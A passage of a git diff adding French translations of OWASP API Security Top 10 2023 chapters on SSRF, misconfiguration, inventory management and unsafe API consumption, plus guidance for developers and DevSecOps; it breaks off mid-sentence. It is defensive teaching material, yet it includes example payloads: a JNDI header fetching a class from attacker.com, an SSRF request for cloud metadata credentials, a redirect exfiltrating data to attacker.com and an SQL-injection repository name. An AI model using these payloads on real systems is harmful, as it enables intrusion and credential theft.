sophistiquées, donc plus coûteuses pour eux + * Détection humaine : utiliser soit un captcha, soit des solutions biométriques plus avancées (par exemple : biométrie par modèles de frappe) + * Modèles non humains : analyser le flux de l'utilisateur pour détecter les modèles non humains (par exemple, l'utilisateur a accédé aux fonctions "ajouter au panier" et "compléter l'achat" en moins d'une seconde) + * Considérer le blocage des adresses IP des nœuds de sortie Tor et des proxies bien connus + + Sécurisez et limitez l'accès aux API qui sont consommées directement par des machines (comme les API de développeur et B2B). Elles sont souvent une cible facile pour les attaquants car elles n'implémentent souvent pas tous les mécanismes de protection nécessaires. + +## Références + +### OWASP + +* [OWASP Automated Threats to Web Applications][1] +* [API10:2019 Insufficient Logging & Monitoring][2] + +[1]: https://owasp.org/www-project-automated-threats-to-web-applications/ +[2]: https://owasp.org/API-Security/editions/2019/en/0xaa-insufficient-logging-monitoring/ + diff --git a/editions/2023/fr/0xa7-server-side-request-forgery.md b/editions/2023/fr/0xa7-server-side-request-forgery.md new file mode 100644 index 000000000..029bd7c9e --- /dev/null +++ b/editions/2023/fr/0xa7-server-side-request-forgery.md @@ -0,0 +1,137 @@ +# API7:2023 Server Side Request Forgery + +| Facteurs de menace / Vecteurs d'attaque | Faille de sécurité | Impacts | +| - | - | - | +| Spécifique à l'API : Exploitabilité **Facile** | Prévalence **Courante** : Détectabilité **Facile** | Technique **Modérée** : Spécifique à l'organisation | +| L'exploitation nécessite que l'attaquant trouve un point d'accès API qui accède à une URI fournie par le client. En général, l'exploitation de la SSRF de base (lorsque la réponse est renvoyée à l'attaquant) est plus facile que la SSRF aveugle, dans laquelle l'attaquant n'a aucun retour d'information sur le succès de l'attaque. | Les concepts modernes de développement d'applications encouragent les développeurs à accéder à des URI fournies par le client. Le manque de validation ou une validation incorrecte de ces URI sont des problèmes courants. L'analyse des réponses et des requêtes associées sera nécessaire pour détecter le problème. Lorsque la réponse n'est pas renvoyée (SSRF aveugle), la détection de la vulnérabilité nécessite plus d'efforts et de créativité. | L'exploitation réussie peut entraîner une énumération des services internes (par exemple, un balayage de ports), une divulgation d'informations, le contournement des pare-feu ou d'autres mécanismes de sécurité. Dans certains cas, cela peut entraîner un déni de service ou l'utilisation du serveur comme proxy pour masquer des activités malveillantes. | + +## L'API est-elle vulnérable ? + +La SSRF (Server-Side Request Forgery) se produit lorsqu'une API récupère une ressource distante sans valider l'URL fournie par l'utilisateur. Cela permet à un attaquant de forcer l'application à envoyer une requête forgée vers une destination inattendue, même si elle est protégée par un pare-feu ou un VPN. + +Les concepts modernes de développement d'applications rendent la SSRF plus courante et plus dangereuse. + +Encore plus courant - les concepts suivants encouragent les développeurs à accéder à une ressource externe en fonction de l'entrée utilisateur : les webhooks, le téléchargement de fichiers à partir d'URL, les SSO personnalisés et les aperçus d'URL. + +Encore plus dangereux - les technologies modernes comme les fournisseurs de cloud, Kubernetes et Docker exposent des canaux de gestion et de contrôle via HTTP sur des chemins prévisibles et bien connus. Ces canaux sont une cible facile pour une attaque SSRF. + +Il est de plus en plus difficile de limiter le trafic sortant de votre application, en raison de la nature connectée des applications modernes. + +Le risque de SSRF ne peut pas toujours être complètement éliminé. Lors du choix d'un mécanisme de protection, il est important de tenir compte des risques et des besoins de l'entreprise. + +## Exemple de scénarios d'attaque + +### Scénario #1 + +Un réseau social permet aux utilisateurs de télécharger des photos de profil. L'utilisateur peut choisir de télécharger le fichier image depuis sa machine, ou de fournir l'URL de l'image. En choisissant la seconde option, cela déclenchera l'appel API suivant : + +``` +POST /api/profile/upload_picture + +{ + "picture_url": "http://example.com/profile_pic.jpg" +} +``` + +Un attaquant peut envoyer une URL malveillante et initier un balayage de ports à l'intérieur du réseau interne en utilisant le point d'accès API. + +``` +{ + "picture_url": "localhost:8080" +} +``` + +En fonction du temps de réponse, l'attaquant peut déterminer si le port est ouvert ou non. + +### Scénario #2 + +Un service de sécurité génère des événements lorsqu'il détecte des anomalies dans le réseau. Certaines équipes préfèrent examiner les événements dans un système de surveillance plus large et plus générique, tel qu'un SIEM (Security Information and Event Management). À cette fin, le produit fournit une intégration avec d'autres systèmes en utilisant des webhooks. + +Dans le cadre de la création d'un nouveau webhook, une mutation GraphQL est envoyée avec l'URL de l'API SIEM. + +``` +POST /graphql + +[ + { + "variables": {}, + "query": "mutation { + createNotificationChannel(input: { + channelName: \"ch_piney\", + notificationChannelConfig: { + customWebhookChannelConfigs: [ + { + url: \"http://www.siem-system.com/create_new_event\", + send_test_req: true + } + ] + } + }){ + channelId + } + }" + } +] + +``` + +Pendant le processus de création, l'API back-end envoie une requête de test à l'URL du webhook fournie, et présente à l'utilisateur la réponse. + +Un attaquant peut exploiter ce flux, et faire en sorte que l'API envoie une requête à une ressource sensible, telle qu'un service interne cloud de métadonnées qui expose des informations d'identification : + +``` +POST /graphql + +[ + { + "variables": {}, + "query": "mutation { + createNotificationChannel(input: { + channelName: \"ch_piney\", + notificationChannelConfig: { + customWebhookChannelConfigs: [ + { + url: \"http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-default-ssm\", + send_test_req: true + } + ] + } + }) { + channelId + } + } + } +] +``` + +Puisque l'application affiche la réponse de la requête de test, l'attaquant peut voir les informations d'identification de l'environnement cloud. + +## Comment s'en prémunir + +* Isoler le mécanisme de récupération des ressources dans votre réseau : ces fonctionnalités sont généralement destinées à récupérer des ressources distantes et non internes. +* Chaque fois que possible, utilisez des listes d'autorisation : + * Les origines distantes à partir desquelles les utilisateurs sont censés télécharger des ressources (par exemple, Google Drive, Gravatar, etc.) + * Les schémas d'URL et les ports + * Les types de médias acceptés pour une fonctionnalité donnée +* Désactivez les redirections HTTP. +* Utilisez un analyseur d'URL bien testé et maintenu pour éviter les problèmes causés par des incohérences d'analyse d'URL. +* Validez et assainissez toutes les données d'entrée fournies par le client. +* Ne renvoyez pas de réponses brutes aux clients. + +## Références + +### OWASP + +* [Server Side Request Forgery][1] +* [Server-Side Request Forgery Prevention Cheat Sheet][2] + +### Externes + +* [CWE-918: Server-Side Request Forgery (SSRF)][3] +* [URL confusion vulnerabilities in the wild: Exploring parser inconsistencies, + Snyk][4] + +[1]: https://owasp.org/www-community/attacks/Server_Side_Request_Forgery +[2]: https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html +[3]: https://cwe.mitre.org/data/definitions/918.html +[4]: https://snyk.io/blog/url-confusion-vulnerabilities/ diff --git a/editions/2023/fr/0xa8-security-misconfiguration.md b/editions/2023/fr/0xa8-security-misconfiguration.md new file mode 100644 index 000000000..ae8156927 --- /dev/null +++ b/editions/2023/fr/0xa8-security-misconfiguration.md @@ -0,0 +1,100 @@ +# API8:2023 Security Misconfiguration + +| Facteurs de menace / Vecteurs d'attaque | Faille de sécurité | Impact | +| - | - | - | +| Spécifique à l'API : Exploitabilité **Facile** | Prévalence **Courante** : Détectabilité **Facile** | Technique **Grave** : Spécifique à l'organisation | +| Les attaquants cherchent souvent à trouver des failles non corrigées, des points d'accès courants, des services fonctionnant avec des configurations par défaut non sécurisées ou des fichiers et répertoires non protégés pour obtenir un accès non autorisé ou des informations sur le système. La plupart de ces informations sont publiques et des exploits peuvent être disponibles. | La mauvaise configuration de sécurité peut se produire à n'importe quel niveau de la pile API, du réseau à l'application. Des outils automatisés sont disponibles pour détecter et exploiter des configurations incorrectes telles que des services inutiles ou des options héritées. | Les mauvaises configurations de sécurité exposent non seulement des données utilisateur sensibles, mais aussi des détails système qui peuvent conduire à la compromission complète du serveur. | + +## L'API est-elle vulnérable ? + +L'API peut être vulnérable si : + +* La sécurisation appropriée est absente à travers n'importe quelle partie de la pile API, ou si les permissions sur les services cloud sont mal configurées +* Les derniers correctifs de sécurité sont manquants, ou si les systèmes sont obsolètes +* Des fonctionnalités inutiles sont activées (par exemple, les verbes HTTP, les fonctionnalités de journalisation) +* Il y a des divergences dans la façon dont les requêtes entrantes sont traitées par les serveurs dans la chaîne du serveur HTTP +* La sécurité du transport (TLS) est absente +* Les directives de sécurité ou de contrôle de cache ne sont pas envoyées aux clients +* Une politique Cross-Origin Resource Sharing (CORS) est manquante ou mal configurée +* Les messages d'erreur incluent des traces de pile, ou exposent d'autres informations sensibles + +## Exemple de scénarios d'attaque + +### Scénario #1 + +Un serveur back-end d'API maintient un journal d'accès écrit par un utilitaire de journalisation open-source populaire avec prise en charge de l'expansion de paramètres et des recherches JNDI (Java Naming and Directory Interface), tous deux activés par défaut. Pour chaque requête, une nouvelle entrée est écrite dans le fichier journal avec le modèle suivant : ` / - `. + +Un acteur malveillant émet la requête API suivante, qui est écrite dans le fichier journal d'accès : + +``` +GET /health +X-Api-Version: ${jndi:ldap://attacker.com/Malicious.class} +``` + +En raison de la configuration par défaut non sécurisée de l'utilitaire de journalisation et d'une politique de sortie réseau permissive, pour écrire l'entrée correspondante dans le journal d'accès, tout en développant la valeur de l'en-tête de requête `X-Api-Version`, l'utilitaire de journalisation va extraire et exécuter l'objet `Malicious.class` du serveur contrôlé à distance par l'attaquant. + +### Scénario #2 + +Un site web de réseau social propose une fonctionnalité de "Message Direct" qui permet aux utilisateurs de garder des conversations privées. Pour récupérer de nouveaux messages pour une conversation spécifique, le site web émet la requête API suivante (l'interaction de l'utilisateur n'est pas requise) : + +``` +GET /dm/user_updates.json?conversation_id=1234567&cursor=GRlFp7LCUAAAA +``` + +Parce que la réponse de l'API ne comprend pas l'en-tête HTTP `Cache-Control`, les conversations privées sont mises en cache par le navigateur web, permettant aux acteurs malveillants de les récupérer à partir des fichiers de cache du navigateur. + +## Comment s'en prémunir ? + +Le cycle de vie de l'API devrait inclure : + +* Un processus de durcissement reproductible menant à un déploiement rapide et facile d'un environnement correctement sécurisé +* Une tâche pour examiner et mettre à jour les configurations dans toute la pile API. L'examen devrait inclure : les fichiers d'orchestration, les composants API et les services cloud (par exemple, les autorisations de compartiment S3) +* Un processus automatisé pour évaluer en continu l'efficacité de la configuration et des paramètres dans tous les environnements + +De plus : + +* Assurez-vous que toutes les communications API du client vers le serveur API et tout composant en aval/amont se font sur un canal de communication chiffré (TLS), qu'il s'agisse d'une API interne ou publique. +* Soyez spécifique sur les verbes HTTP par lesquels chaque API peut être accédée : tous les autres verbes HTTP devraient être désactivés (par exemple, HEAD). +* Les API s'attendant à être accessibles depuis des clients basés sur un navigateur (par exemple, une interface WebApp) devraient, au moins : + * implémenter une politique Cross-Origin Resource Sharing (CORS) appropriée + * inclure les en-têtes de sécurité applicables +* Restreignez les types de contenu/format de données entrants à ceux qui répondent aux exigences commerciales/fonctionnelles. +* Assurez-vous que tous les serveurs dans la chaîne du serveur HTTP (par exemple, les équilibreurs de charge, les proxies et les proxies inverses, ainsi que les serveurs back-end) traitent les requêtes entrantes de manière uniforme pour éviter les problèmes de désynchronisation. +* Lorsque cela est applicable, définissez et appliquez tous les schémas de charge utile de réponse API, y compris les réponses d'erreur, pour empêcher les traces d'exception et d'autres informations précieuses d'être renvoyées aux attaquants. + +## Références + +### OWASP + +* [OWASP Secure Headers Project][1] +* [Configuration and Deployment Management Testing - Web Security Testing + Guide][2] +* [Testing for Error Handling - Web Security Testing Guide][3] +* [Testing for Cross Site Request Forgery - Web Security Testing Guide][4] + +### Externes + +* [CWE-2: Environmental Security Flaws][5] +* [CWE-16: Configuration][6] +* [CWE-209: Generation of Error Message Containing Sensitive Information][7] +* [CWE-319: Cleartext Transmission of Sensitive Information][8] +* [CWE-388: Error Handling][9] +* [CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response + Smuggling')][10] +* [CWE-942: Permissive Cross-domain Policy with Untrusted Domains][11] +* [Guide to General Server Security][12], NIST +* [Let's Encrypt: a free, automated, and open Certificate Authority][13] + +[1]: https://owasp.org/www-project-secure-headers/ +[2]: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/README +[3]: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/README +[4]: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management_Testing/05-Testing_for_Cross_Site_Request_Forgery +[5]: https://cwe.mitre.org/data/definitions/2.html +[6]: https://cwe.mitre.org/data/definitions/16.html +[7]: https://cwe.mitre.org/data/definitions/209.html +[8]: https://cwe.mitre.org/data/definitions/319.html +[9]: https://cwe.mitre.org/data/definitions/388.html +[10]: https://cwe.mitre.org/data/definitions/444.html +[11]: https://cwe.mitre.org/data/definitions/942.html +[12]: https://csrc.nist.gov/publications/detail/sp/800-123/final +[13]: https://letsencrypt.org/ diff --git a/editions/2023/fr/0xa9-improper-inventory-management.md b/editions/2023/fr/0xa9-improper-inventory-management.md new file mode 100644 index 000000000..aa87b54f3 --- /dev/null +++ b/editions/2023/fr/0xa9-improper-inventory-management.md @@ -0,0 +1,66 @@ +# API9:2023 Improper Inventory Management + +| Facteurs de menace/Vecteurs d'attaque | Faiblesse de sécurité | Impacts | +| - | - | - | +| Spécifique à l'API : Exploitabilité **Facile** | Prévalence **Répandue** : Détection **Moyenne** | Technique **Modérée** : Spécifique à l'organisation | +| Les attaquants cherchent généralement à accéder de manière non autorisée à travers d'anciennes versions d'API ou des points d'accès laissés non corrigés et utilisant des exigences de sécurité plus faibles. Dans certains cas, des exploits sont disponibles. Alternativement, ils peuvent accéder à des données sensibles via un tiers avec lequel il n'y a aucune raison de partager des données. | Une documentation obsolète rend plus difficile la recherche et/ou la correction des vulnérabilités. L'absence d'inventaire des actifs et de stratégies de retraite conduit à l'exécution de systèmes non corrigés, entraînant une fuite de données sensibles. Il est courant de trouver des hôtes API inutilement exposés en raison de concepts modernes tels que les microservices, qui facilitent le déploiement et l'indépendance des applications (par exemple, le cloud computing, K8S). Une simple recherche Google Dorking, une énumération DNS ou l'utilisation de moteurs de recherche spécialisés pour divers types de serveurs (webcams, routeurs, serveurs, etc.) connectés à Internet suffiront pour découvrir des cibles. | Les attaquants peuvent accéder à des données sensibles, voire prendre le contrôle du serveur. Parfois, différentes versions/déploiements d'API sont connectés à la même base de données avec des données réelles. Les agents de menace peuvent exploiter des points d'accès obsolètes disponibles dans d'anciennes versions d'API pour accéder à des fonctions d'administration ou exploiter des vulnérabilités connues. | + +## L'API est-elle vulnérable ? + +Les API modernes sont souvent exposées à des risques de sécurité en raison de la complexité des applications et de la nature connectée des systèmes. Les API sont souvent mal documentées, ce qui rend difficile la recherche et la correction des vulnérabilités. Les API obsolètes ou non corrigées sont des cibles faciles pour les attaquants. + +Faire fonctionner plusieurs versions d'une API nécessite des ressources de gestion supplémentaires de la part du fournisseur de l'API et augmente la surface d'attaque. + +Une API a un "angle mort de la documentation" si : + +* Le but de l'hôte de l'API n'est pas clair, et il n'y a pas de réponses explicites aux questions suivantes + * Dans quel environnement l'API fonctionne-t-elle (par exemple, production, staging, test, développement) ? + * Qui devrait avoir accès au réseau de l'API (par exemple, public, interne, partenaires) ? + * Quelle version de l'API est en cours d'exécution ? +* Il n'y a pas de documentation ou la documentation existante n'est pas mise à jour. +* Il n'y a pas de plan de retraite pour chaque version de l'API. +* L'inventaire de l'hôte est manquant ou obsolète. + +La visibilité et l'inventaire des flux de données sensibles jouent un rôle important dans le cadre d'un plan de réponse aux incidents, au cas où une violation se produirait du côté du tiers. + +Une API a un "angle mort du flux de données" si : + +* Il y a un "flux de données sensible" où l'API partage des données sensibles avec un tiers et + * Il n'y a pas de justification commerciale ou d'approbation du flux + * Il n'y a pas d'inventaire ou de visibilité du flux + * Il n'y a pas de visibilité approfondie sur le type de données sensibles partagées + + +## Exemple de scénarios d'attaque + +### Scénario #1 + +Un réseau social a mis en place un mécanisme de limitation du taux qui bloque les attaquants qui utilisent la force brute pour deviner les jetons de réinitialisation de mot de passe. Ce mécanisme n'a pas été mis en place dans le code de l'API lui-même, mais dans un composant séparé entre le client et l'API officielle (`api.socialnetwork.owasp.org`). Un chercheur a trouvé un hôte API bêta (`beta.api.socialnetwork.owasp.org`) qui exécute la même API, y compris le mécanisme de réinitialisation du mot de passe, mais le mécanisme de limitation du taux n'était pas en place. Le chercheur a pu réinitialiser le mot de passe de n'importe quel utilisateur en utilisant une simple force brute pour deviner le jeton à 6 chiffres. + +### Scénario #2 + +Un réseau social permet aux développeurs d'applications indépendantes d'intégrer leurs applications avec lui. Dans le cadre de ce processus, un consentement est demandé à l'utilisateur final, afin que le réseau social puisse partager les informations personnelles de l'utilisateur avec l'application indépendante. + +Le flux de données entre le réseau social et les applications indépendantes n'est pas suffisamment restrictif ou surveillé, permettant aux applications indépendantes d'accéder non seulement aux informations de l'utilisateur, mais aussi aux informations privées de tous leurs amis. + +Une société de conseil crée une application malveillante et parvient à obtenir le consentement de 270 000 utilisateurs. En raison de la faille, la société de conseil parvient à accéder aux informations privées de 50 000 000 d'utilisateurs. Plus tard, la société de conseil vend les informations à des fins malveillantes. + +## Comment s'en prémunir ? + +* Inventoriez tous les hôtes API et documentez les aspects importants de chacun d'eux, en mettant l'accent sur l'environnement de l'API (par exemple, production, staging, test, développement), qui devrait avoir accès, en réseau, à l'hôte (par exemple, public, interne, partenaires) et la version d'API. +* Inventoriez les services intégrés et documentez les aspects importants tels que leur rôle dans le système, les données échangées (flux de données) et leur sensibilité. +* Documentez tous les aspects de votre API tels que l'authentification, les erreurs, les redirections, la limitation du taux, la politique de partage des ressources entre origines (CORS) et les points d'accès, y compris leurs paramètres, requêtes et réponses. +* Générez automatiquement la documentation en adoptant des normes ouvertes. Incluez la génération de documentation dans votre pipeline CI/CD. +* Rendez la documentation de l'API disponible uniquement aux personnes autorisées à utiliser l'API. +* Utilisez des mesures de protection externes telles que des solutions de sécurité spécifiques aux APIs pour toutes les versions exposées de vos API, pas seulement pour la version de production. +* Évitez d'utiliser des données de production avec des déploiements d'API hors production. Si cela est inévitable, ces points d'accès doivent bénéficier du même traitement de sécurité que les points d'accès de production. +* Lorsque les nouvelles versions des API incluent des améliorations de sécurité, effectuez une analyse des risques pour informer des actions de mitigation requises pour les anciennes versions. Par exemple, s'il est possible de rétroporter les améliorations sans casser la compatibilité de l'API plus ancienne ou si vous devez retirer rapidement l'ancienne version et forcer tous les clients à passer à la dernière version. + + +## Références + +### Externes + +* [CWE-1059: Incomplete Documentation][1] + +[1]: https://cwe.mitre.org/data/definitions/1059.html diff --git a/editions/2023/fr/0xaa-unsafe-consumption-of-apis.md b/editions/2023/fr/0xaa-unsafe-consumption-of-apis.md new file mode 100644 index 000000000..37ea83799 --- /dev/null +++ b/editions/2023/fr/0xaa-unsafe-consumption-of-apis.md @@ -0,0 +1,86 @@ +# API10:2023 Unsafe Consumption of APIs + +| Facteurs de menace / Vecteurs d'attaque | Faille de sécurité | Impact | +| - | - | - | +| Spécifique à l'API : Exploitabilité **Facile** | Prévalence **Courante** : Détectabilité **Moyenne** | Technique **Grave** : Spécifique à l'organisation | +| Exploiter ce problème nécessite que les attaquants identifient et compromettent potentiellement d'autres APIs/services avec lesquels l'API cible est intégrée. Habituellement, ces informations ne sont pas publiquement disponibles ou l'API/service intégré n'est pas facilement exploitable. | Les développeurs ont tendance à faire confiance et ne pas vérifier les points d'accès qui interagissent avec des API/services externes ou tiers, en se basant sur des exigences de sécurité plus faibles telles que celles concernant la sécurité du transport, l'authentification/l'autorisation et la validation des entrées. Les attaquants doivent identifier les services avec lesquels l'API cible s'intègre (sources de données) et, éventuellement, les compromettre. | L'impact varie en fonction de ce que l'API cible fait avec les données extraites. L'exploitation réussie peut entraîner une exposition d'informations sensibles à des acteurs non autorisés, de nombreux types d'injections, ou un déni de service. | + +## L'API est-elle vulnérable ? + +Les développeurs ont tendance à faire confiance aux données reçues des API tierces plus qu'aux entrées utilisateur. Cela est particulièrement vrai pour les API proposées par des entreprises bien connues. En raison de cela, les développeurs ont tendance à adopter des normes de sécurité plus faibles, par exemple en ce qui concerne la validation des entrées et l'analyse en vu de caractères autorisés ou non en entrée (effacés ou échappés). + +L'API peut être vulnérable si : +* Elle interagit avec d'autres API sur un canal non chiffré ; +* Elle ne valide/filtre pas correctement les données collectées auprès d'autres API avant de les traiter ou de les transmettre à des composants en aval ; +* Elle suit aveuglément les redirections ; +* Elle ne limite pas le nombre de ressources disponibles pour traiter les réponses des services tiers ; +* Elle n'implémente pas de délais d'attente pour les interactions avec les services tiers. + +## Exemple de scénarios d'attaque + +### Scénario #1 + +Une API repose sur un service tiers pour enrichir les adresses commerciales fournies par les utilisateurs. Lorsqu'une adresse est fournie à l'API par l'utilisateur final, elle est envoyée au service tiers et les données renvoyées sont ensuite stockées dans une base de données locale compatible SQL. + +Les attaquants utilisent le service tiers pour stocker une payload SQLi associée à une entreprise créée par eux. Ensuite, ils ciblent l'API vulnérable en fournissant une entrée spécifique qui la pousse à extraire leur "entreprise malveillante" du service tiers. La charge utile SQLi est alors exécutée par la base de données, exfiltrant des données vers un serveur contrôlé par un attaquant. + +### Scénario #2 + +Une API s'intègre à un fournisseur de services tiers pour stocker en toute sécurité des informations médicales sensibles sur les utilisateurs. Les données sont envoyées via une connexion sécurisée en utilisant une requête HTTP comme celle ci-dessous : + +``` +POST /user/store_phr_record +{ + "genome": "ACTAGTAG__TTGADDAAIICCTT…" +} +``` + +Des acteurs malveillants ont trouvé un moyen de compromettre l'API tierce et elle commence à répondre avec une redirection permanente `308` aux requêtes comme la précédente. + +``` +HTTP/1.1 308 Permanent Redirect +Location: https://attacker.com/ +``` + +Puisque l'API suit aveuglément les redirections, elle répète la même requête, y compris les données sensibles de l'utilisateur, vers le serveur de l'attaquant. + +### Scénario #3 + +Un attaquant peut préparer un dépôt git nommé `'; drop db;--`. + +Maintenant, lorsqu'une intégration d'une application attaquée est effectuée avec le dépôt malveillant, une charge utile d'injection SQL est utilisée sur une application qui construit une requête SQL en croyant que le nom du dépôt est une entrée sûre. + +## Comment s'en prémunir ? + +* Lors de l'évaluation des fournisseurs de services, évaluez leur posture de sécurité API. +* Assurez-vous que toutes les interactions API se font sur un canal de communication sécurisé (TLS). +* Validez toujours et épurez correctement les données reçues des API intégrées avant de les utiliser. +* Maintenez une liste blanche des emplacements bien connus vers lesquels les API intégrées peuvent rediriger les vôtres : ne suivez pas aveuglément les redirections. + + +## Références + +### OWASP + +* [Web Service Security Cheat Sheet][1] +* [Injection Flaws][2] +* [Input Validation Cheat Sheet][3] +* [Injection Prevention Cheat Sheet][4] +* [Transport Layer Protection Cheat Sheet][5] +* [Unvalidated Redirects and Forwards Cheat Sheet][6] + +### Externes + +* [CWE-20: Improper Input Validation][7] +* [CWE-200: Exposure of Sensitive Information to an Unauthorized Actor][8] +* [CWE-319: Cleartext Transmission of Sensitive Information][9] + +[1]: https://cheatsheetseries.owasp.org/cheatsheets/Web_Service_Security_Cheat_Sheet.html +[2]: https://www.owasp.org/index.php/Injection_Flaws +[3]: https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html +[4]: https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html +[5]: https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html +[6]: https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html +[7]: https://cwe.mitre.org/data/definitions/20.html +[8]: https://cwe.mitre.org/data/definitions/200.html +[9]: https://cwe.mitre.org/data/definitions/319.html diff --git a/editions/2023/fr/0xb0-next-devs.md b/editions/2023/fr/0xb0-next-devs.md new file mode 100644 index 000000000..bb5b4c02a --- /dev/null +++ b/editions/2023/fr/0xb0-next-devs.md @@ -0,0 +1,31 @@ +# Perspectives pour les Développeurs +La tâche de créer et de maintenir des applications sécurisées, ou de corriger des applications existantes, peut être difficile. Il en va de même pour les API. + +Nous croyons que l'éducation et la sensibilisation sont des facteurs clés pour écrire des logiciels sécurisés. Tout le reste nécessaire pour atteindre l'objectif dépend de **l'établissement et de l'utilisation de processus de sécurité répétables et de contrôles de sécurité standard**. + +OWASP fournit de nombreuses ressources gratuites et ouvertes pour vous aider à aborder la sécurité. Veuillez visiter la [page des Projets OWASP][1] pour une liste complète des projets disponibles. + +| | | +|-|-| +| **Éducation** | Le [Guide de Sécurité des Applications OWASP][2] devrait vous donner une bonne idée des projets disponibles pour chaque étape/phase du Cycle de Vie du Développement Logiciel (SDLC). Pour une formation pratique, vous pouvez commencer avec [OWASP **crAPI** - **C**ompletely **R**idiculous **API**][3] ou [OWASP Juice Shop][4] : tous deux ont des APIs intentionnellement vulnérables. Le [Projet de Répertoire d'Applications Web Vulnérables OWASP][5] fournit une liste de projets d'applications intentionnellement vulnérables : vous y trouverez plusieurs autres APIs vulnérables. Vous pouvez également assister à des sessions de formation de la [Conférence OWASP AppSec][6], ou [rejoindre votre chapitre local][7]. | +| **Exigences de Sécurité** | La sécurité devrait faire partie de chaque projet dès le début. Lors de la définition des exigences, il est important de définir ce que "sécurisé" signifie pour ce projet. OWASP vous recommande d'utiliser le [Standard de Vérification de Sécurité des Applications OWASP (ASVS)][8] comme guide pour définir les exigences de sécurité. Si vous externalisez, considérez l'[Annexe de Contrat de Logiciel Sécurisé OWASP][9], qui devrait être adaptée en fonction des lois et réglementations locales. | +| **Architecture de Sécurité** | La sécurité devrait rester une préoccupation pendant toutes les étapes du projet. La [Série de Cheet Sheat OWASP][10] est un bon point de départ pour obtenir des conseils sur la façon de concevoir la sécurité pendant la phase d'architecture. Parmi beaucoup d'autres, vous trouverez la [Fiche de Triche sur la Sécurité REST][11] et la [Fiche de Triche sur l'Évaluation REST][12] ainsi que la [Fiche de Triche GraphQL][13]. | +| **Contrôles de Sécurité Standard** | L'adoption de contrôles de sécurité standard réduit le risque d'introduire des faiblesses de sécurité tout en écrivant votre propre logique. Bien que de nombreux frameworks modernes viennent maintenant avec des contrôles standard efficaces intégrés, [OWASP Proactive Controls][14] vous donne un bon aperçu des contrôles de sécurité que vous devriez chercher à inclure dans votre projet. OWASP fournit également certaines bibliothèques et outils que vous pourriez trouver précieux, tels que des contrôles de validation. | +| **Cycle de Vie de Développement Logiciel Sécurisé** | Vous pouvez utiliser le [Modèle de Maturité de l'Assurance Logicielle OWASP (SAMM)][15] pour améliorer vos processus de construction d'API. Plusieurs autres projets OWASP sont disponibles pour vous aider pendant les différentes phases de développement d'API, par exemple, le [Guide de Révision de Code OWASP][16]. | + +[1]: https://owasp.org/projects/ +[2]: https://owasp.org/projects/#owasp-projects-the-sdlc-and-the-security-wayfinder +[3]: https://owasp.org/www-project-crapi/ +[4]: https://owasp.org/www-project-juice-shop/ +[5]: https://owasp.org/www-project-vulnerable-web-applications-directory/ +[6]: https://owasp.org/events/ +[7]: https://owasp.org/chapters/ +[8]: https://owasp.org/www-project-application-security-verification-standard/ +[9]: https://owasp.org/www-community/OWASP_Secure_Software_Contract_Annex +[10]: https://cheatsheetseries.owasp.org/ +[11]: https://cheatsheetseries.owasp.org/cheatsheets/REST_Security_Cheat_Sheet.html +[12]: https://cheatsheetseries.owasp.org/cheatsheets/REST_Assessment_Cheat_Sheet.html +[13]: https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html +[14]: https://owasp.org/www-project-proactive-controls/ +[15]: https://owasp.org/www-project-samm/ +[16]: https://owasp.org/www-project-code-review-guide/ diff --git a/editions/2023/fr/0xb1-next-devsecops.md b/editions/2023/fr/0xb1-next-devsecops.md new file mode 100644 index 000000000..8ba5cae79 --- /dev/null +++ b/editions/2023/fr/0xb1-next-devsecops.md @@ -0,0 +1,23 @@ +# Perspectives pour les DevSecOps + +En raison de leur importance dans les architectures d'applications modernes, la construction d'API sécurisées est cruciale. La sécurité ne peut être négligée et doit faire partie de tout le cycle de développement. Scanner et réaliser des tests de pénétration une fois par an ne suffit plus. + +Les DevSecOps devraient rejoindre l'effort de développement, facilitant les tests de sécurité continus tout au long du cycle de vie du logiciel. Votre objectif devrait être d'améliorer le pipeline de développement avec l'automatisation de la sécurité, sans impacter la vitesse de développement. + +En cas de doute, restez informé et référez-vous au [Manifeste DevSecOps][1]. + +| | | +|-|-| +| **Comprendre le Modèle de Menace** | Les priorités de test proviennent d'un modèle de menace. Si vous n'en avez pas, envisagez d'utiliser le [Standard de Vérification de Sécurité des Applications OWASP (ASVS)][2], et le [Guide de Test de Sécurité OWASP][3] comme entrée. Impliquer l'équipe de développement les rendra plus conscients de la sécurité. | +| **Comprendre le SDLC** | Rejoignez l'équipe de développement pour mieux comprendre le Cycle de Vie du Développement Logiciel. Votre contribution aux tests de sécurité continus doit être compatible avec les personnes, les processus et les outils. Tout le monde devrait être d'accord avec le processus, pour qu'il n'y ait pas de friction ou de résistance inutile. | +| **Stratégies de Test** | Puisque votre travail ne doit pas impacter la vitesse de développement, vous devriez choisir judicieusement la meilleure technique (simple, rapide, précise) pour vérifier les exigences de sécurité. Le [Cadre de Connaissance de Sécurité OWASP][4] et le [Standard de Vérification de Sécurité des Applications OWASP][2] peuvent être de grandes sources d'exigences de sécurité fonctionnelles et non fonctionnelles. Il existe d'autres excellentes sources pour des [projets][5] et [outils][6] similaires à ceux proposés par la [communauté DevSecOps][7]. | +| **Atteindre la Couverture et la Précision** | Vous êtes le pont entre les équipes de développement et d'exploitation. Pour atteindre une couverture, vous devriez non seulement vous concentrer sur la fonctionnalité, mais aussi sur l'orchestration. Travaillez étroitement avec les équipes de développement et d'exploitation dès le début pour optimiser votre temps et vos efforts. Vous devriez viser un état où la sécurité essentielle est vérifiée en continu. | +| **Communiquer Clairement les Résultats** | Apportez de la valeur avec moins ou pas de friction. Livrez les résultats en temps voulu, dans les outils que les équipes de développement utilisent (pas de fichiers PDF). Rejoignez l'équipe de développement pour traiter les résultats. Profitez de l'occasion pour les former, en décrivant clairement la faiblesse et comment elle peut être exploitée, y compris un 